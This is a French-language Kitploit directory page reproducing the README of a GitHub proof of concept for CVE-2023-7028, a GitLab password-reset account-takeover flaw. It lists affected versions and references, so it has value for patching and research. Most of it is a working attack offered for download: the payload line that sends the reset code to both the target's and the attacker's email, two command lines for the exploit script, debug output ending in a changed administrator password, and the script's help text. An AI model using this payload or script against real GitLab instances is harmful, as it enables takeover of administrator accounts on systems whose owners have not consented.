Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2023-7028 — This repository presents a proof-of-concept of CVE-2023-7028 | Kitploit
Outils/GitHubGitHub/vozec/cve-2023-7028
Password AttacksVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubvozec/cve-2023-7028

CVE-2023-7028

This repository presents a proof-of-concept of CVE-2023-7028

Voir le dépôt
24442il y a 2 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2023-7028 | Account-Take-Over Gitlab

Avertissement

Ce code est une preuve de concept de la vulnérabilité, je n'incite personne à l'utiliser sur des instances gitlab qui ne vous appartiennent pas.
Cet outil a été développé à des fins de recherche et d'éducation uniquement et je ne pourrai être tenu responsable de toute utilisation que vous pourriez en faire.

Description :

CVE-2023-7028 fait référence à une vulnérabilité de prise de contrôle de compte (Account-Take-Over) qui permet aux utilisateurs de prendre le contrôle du compte administrateur gitlab sans interaction de l'utilisateur.

La vulnérabilité réside dans la gestion des e-mails lors de la réinitialisation des mots de passe. Un attaquant peut fournir 2 e-mails et le code de réinitialisation sera envoyé aux deux.
Il est donc possible de fournir l'adresse e-mail du compte cible ainsi que celle de l'attaquant, et de réinitialiser le mot de passe administrateur.
(Gitlab précise que l'authentification à deux facteurs empêche l'exploitation de cette vulnérabilité, puisqu'un attaquant, même après avoir réinitialisé le mot de passe, ne pourra pas se connecter.)

Cette vulnérabilité a été découverte par asterion04

Payload :

Voici un exemple de payload

root@kitploit:~
user[email][][email protected]&user[email][][email protected]

POC :

Méthode 1 : Utilisation d'un e-mail temporaire
root@kitploit:~
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected]

[DEBUG] Getting temporary mail
[DEBUG] Scrapping available domains on 1secmail.com
[DEBUG] 8 domains found
[DEBUG] Temporary mail: [email protected]
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = bc91lpzwTOaY9dg5SWjLvvDDb61j6ZunCX4DXYlSnWz9Y3zK35SPiLNShhrDrPVDgY_AzQjzpD5qVt2WXeolog
[DEBUG] Sending reset password request
[DEBUG] Emails sended to [email protected] and [email protected] !
[DEBUG] Waiting mail, sleeping for 7.5 seconds
[DEBUG] Getting link using temp-mail | Try N°1 on 5
[DEBUG] Getting last mail for [email protected]
[DEBUG] 1 mail(s) found
[DEBUG] Reading the last one
[DEBUG] Generating new password
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = RN6gypVz7Zxtu2zRsJmKPsDHNumIH_UPvdn7aQoWRBnUcqmW1hcu8kYcMvI6XbTDsYuZieMFypbe8SWi3q781w
[DEBUG] Changing password to l3mG2v2XN4UBzbN18ZkW
[DEBUG] CVE_2023_7028 succeed !
        You can connect on https://gitlab.example.com/users/sign_in
        Username: [email protected]
        Password: l3mG2v2XN4UBzbN18ZkW
Méthode 2 : Utilisation d'un e-mail malveillant
root@kitploit:~
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected] -e [email protected]

[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = 1Yt1EUeWSL-oiSV7v1Z6ghdCDG3w0FFCQB8Uc5B5GAodVNJ26OlPT8HtYYleGXB9F0otas3gnHOtRfhFall8pQ
[DEBUG] Sending reset password request
[DEBUG] Emails sended to [email protected] and [email protected] !
        Input link received by mail: https://gitlab.example.com/users/password/edit?reset_password_token=U8PSU7DXdebdTD3GjMiX
[DEBUG] Generating new password
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = N7gs43C9ZMxdniA9UEzzfH2Rlhgejt75M1Kw88vaarP_Z4uE38JjPDT6ZM-xA_mDfZm3HyO-E8jeCFzFMfoOHA
[DEBUG] Changing password to EU7XIYjlawjb5tH2jgmU
[DEBUG] CVE_2023_7028 succeed !
        You can connect on https://gitlab.example.com/users/sign_in
        Username: [email protected]
        Password: EU7XIYjlawjb5tH2jgmU

Aide

root@kitploit:~
$ python3 .\CVE-2023-7028.py -h
usage: CVE-2023-7028.py [-h] -u URL -t TARGET [-e EVIL]

This tool automates CVE-2023-7028 on gitlab

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     Gitlab url
  -t TARGET, --target TARGET
                        Target email
  -e EVIL, --evil EVIL  Evil email
  -p PASSWORD, --password PASSWORD
                        Password

Note :

Sans l'option --evil, qui spécifie l'adresse e-mail de l'attaquant, le script utilise un e-mail temporaire public pour trouver le lien de réinitialisation du mot de passe.
=> Faites attention si ce poc est utilisé lors d'un pentest.

Versions concernées

  • 16.1 à 16.1.5
  • 16.2 à 16.2.8
  • 16.3 à 16.3.6
  • 16.4 à 16.4.4
  • 16.5 à 16.5.5
  • 16.6 à 16.6.3
  • 16.7 à 16.7.1

Références :

  • https://about.gitlab.com/releases/2024/01/11/critical-security-release-gitlab-16-7-2-released/
  • https://docs.gitlab.com/ee/install/docker.html
  • https://www.cert.ssi.gouv.fr/avis/CERTFR-2024-AVI-0030/
Télécharger l’outil